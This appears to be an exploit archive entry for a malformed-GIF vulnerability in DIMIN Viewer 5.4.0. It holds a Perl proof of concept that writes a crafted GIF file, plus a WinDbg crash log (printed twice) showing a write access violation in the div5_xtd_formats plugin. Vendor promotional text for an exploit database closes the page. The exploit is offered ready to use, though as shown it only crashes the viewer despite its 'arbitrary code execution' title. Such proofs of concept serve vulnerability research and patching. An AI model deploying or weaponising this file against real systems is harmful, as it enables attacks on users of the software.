#!/usr/bin/perl
# DIMIN Viewer 5.4.0 <= WriteAV Arbitrary Code Execution
# Author: Jean Pascal Pereira <[email protected]>
# Vendor URI: http://www.dimin.net
# Vendor Decription:
# View images in countless formats, and apply a variety of effects with this small, fast, and powerful
# application. Dimin Viewer incorporates unique visualization ideas, like Panoramic Photographs Tool
# and Big Image Navigator. It also features multi language interface to feel yourself at home!
# Debug info:
# Microsoft (R) Windows Debugger Version 6.11.0001.404 X86
# Copyright (c) Microsoft Corporation. All rights reserved.
#
# CommandLine: "C:\Program Files\DIMIN\Viewer5\imgview5.exe" C:\research\Viewer5\crafted.gif
# Symbol search path is: *** Invalid ***
# ****************************************************************************
# * Symbol loading may be unreliable without a symbol search path. *
# * Use .symfix to have the debugger choose a symbol path. *
# * After setting your symbol path, use .reload to refresh symbol locations. *
# ****************************************************************************
# Executable search path is:
# ModLoad: 00400000 006bb000 image00400000
# ModLoad: 7c900000 7c9b2000 ntdll.dll
# ModLoad: 7c800000 7c8f6000 C:\WINDOWS\system32\kernel32.dll
# ModLoad: 77dd0000 77e6b000 C:\WINDOWS\system32\advapi32.dll
# ModLoad: 77e70000 77f03000 C:\WINDOWS\system32\RPCRT4.dll
# ModLoad: 77fe0000 77ff1000 C:\WINDOWS\system32\Secur32.dll
# ModLoad: 773d0000 774d3000 C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.6028_x-ww_61e65202\comctl32.dll
# ModLoad: 77c10000 77c68000 C:\WINDOWS\system32\msvcrt.dll
# ModLoad: 77f10000 77f59000 C:\WINDOWS\system32\GDI32.dll
# ModLoad: 7e410000 7e4a1000 C:\WINDOWS\system32\USER32.dll
# ModLoad: 77f60000 77fd6000 C:\WINDOWS\system32\SHLWAPI.dll
# ModLoad: 763b0000 763f9000 C:\WINDOWS\system32\comdlg32.dll
# ModLoad: 7c9c0000 7d1d7000 C:\WINDOWS\system32\SHELL32.dll
# ModLoad: 774e0000 7761e000 C:\WINDOWS\system32\ole32.dll
# ModLoad: 77120000 771ab000 C:\WINDOWS\system32\oleaut32.dll
# ModLoad: 77c00000 77c08000 C:\WINDOWS\system32\version.dll
# ModLoad: 76b40000 76b6d000 C:\WINDOWS\system32\winmm.dll
# ModLoad: 73000000 73026000 C:\WINDOWS\system32\winspool.drv
# (fdc.b98): Break instruction exception - code 80000003 (first chance)
# ModLoad: 76390000 763ad000 C:\WINDOWS\system32\IMM32.DLL
# ModLoad: 5ad70000 5ada8000 C:\WINDOWS\system32\uxtheme.dll
# ModLoad: 74720000 7476c000 C:\WINDOWS\system32\MSCTF.dll
# ModLoad: 755c0000 755ee000 C:\WINDOWS\system32\msctfime.ime
# ModLoad: 00e50000 00ef7000 C:\Program Files\DIMIN\Viewer5\plugin_formats\div5_dcraw.dll
# ModLoad: 71ab0000 71ac7000 C:\WINDOWS\system32\WS2_32.dll
# ModLoad: 71aa0000 71aa8000 C:\WINDOWS\system32\WS2HELP.dll
# ModLoad: 00f20000 0102f000 C:\Program Files\DIMIN\Viewer5\plugin_formats\div5_xtd_formats.dll
# ModLoad: 01050000 0106a000 C:\Program Files\DIMIN\Viewer5\plugin_filters\div5_morphology.dll
# ModLoad: 01090000 010ba000 C:\Program Files\DIMIN\Viewer5\plugin_filters\div5_xtdFilters.dll
# (fdc.b98): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=014707c0 ebx=01480020 ecx=000167ee edx=00000000 esi=01480820 edi=01470fc0
# eip=00fb1a7b esp=0011ee2c ebp=0011ee34 iopl=0 nv up ei pl nz na pe nc
# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
# *** WARNING: Unable to verify checksum for C:\Program Files\DIMIN\Viewer5\plugin_formats\div5_xtd_formats.dll
# *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\DIMIN\Viewer5\plugin_formats\div5_xtd_formats.dll -
# div5_xtd_formats!divGetFilter+0x80c8b:
# 00fb1a7b 660f7f6740 movdqa xmmword ptr [edi+40h],xmm4 ds:0023:01471000=????????????????????????????????
# 0:000> r;!exploitable -v;q
# eax=014707c0 ebx=01480020 ecx=000167ee edx=00000000 esi=01480820 edi=01470fc0
# eip=00fb1a7b esp=0011ee2c ebp=0011ee34 iopl=0 nv up ei pl nz na pe nc
# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
# div5_xtd_formats!divGetFilter+0x80c8b:
# 00fb1a7b 660f7f6740 movdqa xmmword ptr [edi+40h],xmm4 ds:0023:01471000=????????????????????????????????
# HostMachine\HostUser
# Executing Processor Architecture is x86
# Debuggee is in User Mode
# Debuggee is a live user mode debugging session on the local machine
# Event Type: Exception
# *** ERROR: Symbol file could not be found. Defaulted to export symbols for ntdll.dll -
# Exception Faulting Address: 0x1471000
# First Chance Exception Type: STATUS_ACCESS_VIOLATION (0xC0000005)
# Exception Sub-Type: Write Access Violation
#
# Exception Hash (Major/Minor): 0x550b2f71.0x55423571
#
# Stack Trace:
# div5_xtd_formats!divGetFilter+0x80c8b
# div5_xtd_formats!divGetFilter+0x80d0a
# div5_xtd_formats+0xc821
# div5_xtd_formats+0xcc07
# Instruction Address: 0x0000000000fb1a7b
#
#
# Microsoft (R) Windows Debugger Version 6.11.0001.404 X86
# Copyright (c) Microsoft Corporation. All rights reserved.
#
# CommandLine: "C:\Program Files\DIMIN\Viewer5\imgview5.exe" C:\research\Viewer5\crafted.gif
# Symbol search path is: *** Invalid ***
# ****************************************************************************
# * Symbol loading may be unreliable without a symbol search path. *
# * Use .symfix to have the debugger choose a symbol path. *
# * After setting your symbol path, use .reload to refresh symbol locations. *
# ****************************************************************************
# Executable search path is:
# ModLoad: 00400000 006bb000 image00400000
# ModLoad: 7c900000 7c9b2000 ntdll.dll
# ModLoad: 7c800000 7c8f6000 C:\WINDOWS\system32\kernel32.dll
# ModLoad: 77dd0000 77e6b000 C:\WINDOWS\system32\advapi32.dll
# ModLoad: 77e70000 77f03000 C:\WINDOWS\system32\RPCRT4.dll
# ModLoad: 77fe0000 77ff1000 C:\WINDOWS\system32\Secur32.dll
# ModLoad: 773d0000 774d3000 C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.6028_x-ww_61e65202\comctl32.dll
# ModLoad: 77c10000 77c68000 C:\WINDOWS\system32\msvcrt.dll
# ModLoad: 77f10000 77f59000 C:\WINDOWS\system32\GDI32.dll
# ModLoad: 7e410000 7e4a1000 C:\WINDOWS\system32\USER32.dll
# ModLoad: 77f60000 77fd6000 C:\WINDOWS\system32\SHLWAPI.dll
# ModLoad: 763b0000 763f9000 C:\WINDOWS\system32\comdlg32.dll
# ModLoad: 7c9c0000 7d1d7000 C:\WINDOWS\system32\SHELL32.dll
# ModLoad: 774e0000 7761e000 C:\WINDOWS\system32\ole32.dll
# ModLoad: 77120000 771ab000 C:\WINDOWS\system32\oleaut32.dll
# ModLoad: 77c00000 77c08000 C:\WINDOWS\system32\version.dll
# ModLoad: 76b40000 76b6d000 C:\WINDOWS\system32\winmm.dll
# ModLoad: 73000000 73026000 C:\WINDOWS\system32\winspool.drv
# (fdc.b98): Break instruction exception - code 80000003 (first chance)
# ModLoad: 76390000 763ad000 C:\WINDOWS\system32\IMM32.DLL
# ModLoad: 5ad70000 5ada8000 C:\WINDOWS\system32\uxtheme.dll
# ModLoad: 74720000 7476c000 C:\WINDOWS\system32\MSCTF.dll
# ModLoad: 755c0000 755ee000 C:\WINDOWS\system32\msctfime.ime
# ModLoad: 00e50000 00ef7000 C:\Program Files\DIMIN\Viewer5\plugin_formats\div5_dcraw.dll
# ModLoad: 71ab0000 71ac7000 C:\WINDOWS\system32\WS2_32.dll
# ModLoad: 71aa0000 71aa8000 C:\WINDOWS\system32\WS2HELP.dll
# ModLoad: 00f20000 0102f000 C:\Program Files\DIMIN\Viewer5\plugin_formats\div5_xtd_formats.dll
# ModLoad: 01050000 0106a000 C:\Program Files\DIMIN\Viewer5\plugin_filters\div5_morphology.dll
# ModLoad: 01090000 010ba000 C:\Program Files\DIMIN\Viewer5\plugin_filters\div5_xtdFilters.dll
# (fdc.b98): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=014707c0 ebx=01480020 ecx=000167ee edx=00000000 esi=01480820 edi=01470fc0
# eip=00fb1a7b esp=0011ee2c ebp=0011ee34 iopl=0 nv up ei pl nz na pe nc
# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
# *** WARNING: Unable to verify checksum for C:\Program Files\DIMIN\Viewer5\plugin_formats\div5_xtd_formats.dll
# *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\DIMIN\Viewer5\plugin_formats\div5_xtd_formats.dll -
# div5_xtd_formats!divGetFilter+0x80c8b:
# 00fb1a7b 660f7f6740 movdqa xmmword ptr [edi+40h],xmm4 ds:0023:01471000=????????????????????????????????
# 0:000> r;!exploitable -v;q
# eax=014707c0 ebx=01480020 ecx=000167ee edx=00000000 esi=01480820 edi=01470fc0
# eip=00fb1a7b esp=0011ee2c ebp=0011ee34 iopl=0 nv up ei pl nz na pe nc
# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
# div5_xtd_formats!divGetFilter+0x80c8b:
# 00fb1a7b 660f7f6740 movdqa xmmword ptr [edi+40h],xmm4 ds:0023:01471000=????????????????????????????????
# HostMachine\HostUser
# Executing Processor Architecture is x86
# Debuggee is in User Mode
# Debuggee is a live user mode debugging session on the local machine
# Event Type: Exception
# *** ERROR: Symbol file could not be found. Defaulted to export symbols for ntdll.dll -
# Exception Faulting Address: 0x1471000
# First Chance Exception Type: STATUS_ACCESS_VIOLATION (0xC0000005)
# Exception Sub-Type: Write Access Violation
#
# Exception Hash (Major/Minor): 0x550b2f71.0x55423571
#
# Stack Trace:
# div5_xtd_formats!divGetFilter+0x80c8b
# div5_xtd_formats!divGetFilter+0x80d0a
# div5_xtd_formats+0xc821
# div5_xtd_formats+0xcc07
# Instruction Address: 0x0000000000fb1a7b
# Proof of Concept:
my $crafted = "\x47\x49\x46\x38\x39\x61\x30\x00\x2C\x00\xB3\x00\x00\x00\x00\x00".
"\x80\x00\x00\x00\x80\x00\x80\x80\x00\x00\x00\x80\x80\x00\x80\x00".
"\x80\x80\x80\x80\x80\xC0\xC0\xC0\xFF\x00\x00\x00\xFF\x00\xFF\xFF".
"\x00\x00\x00\xFF\xFF\x00\xFF\x00\xFF\xFF\xFF\xFF\xFF\x21\xF9\x04".
"\x01\x00\x00\x0F\x00\x2C\x00\x00\x00\x00\x30\x00\x2C\x00\x00\xFE".
"\x04\xF0";
open(C, ">:raw", "crafted.gif");
print C $crafted;
close(C);
# http://0xffe4.orgData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation